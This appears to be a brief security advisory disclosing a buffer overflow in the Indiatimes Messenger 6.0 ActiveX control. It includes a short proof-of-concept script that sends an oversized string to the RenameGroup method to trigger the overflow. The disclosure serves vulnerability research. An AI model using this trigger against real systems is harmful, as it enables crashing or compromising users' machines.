[NT] Indiatimes Messenger Buffer Overflow (Exploit)

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Indiatimes Messenger Buffer Overflow (Exploit)
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SUMMARY

" <http://messenger.indiatimes.com/> Indiatimes Messenger is a multi
client Instant Messenger."

Lack of proper length validation in Indiatimes Messenger allows attackers
to cause a buffer overflow which in turn can be used to cause the program
to execute arbitrary code.

DETAILS

Vulnerable Systems:
* Indiatimes Messenger version 6.0

Exploit:
< script>
var obj1 = new ActiveXObject("MMClient.MunduMessenger.1");
var buf = "";

for(i=0; i<1000; i++)
{
buf += "A";
}

while(obj1.GetServerStatus() != "Logged In"); //wait till login

obj1.RenameGroup("Friends", buf, 5);
< /script>

ADDITIONAL INFORMATION

The information has been provided by <mailto:viper31337@yahoo.co.in>
ViPeR .
The original article can be found at:
<http://www.infogreg.com/security/im/indiatimes-messenger-6-buffer-overflow.html> http://www.infogreg.com/security/im/indiatimes-messenger-6-buffer-overflow.html

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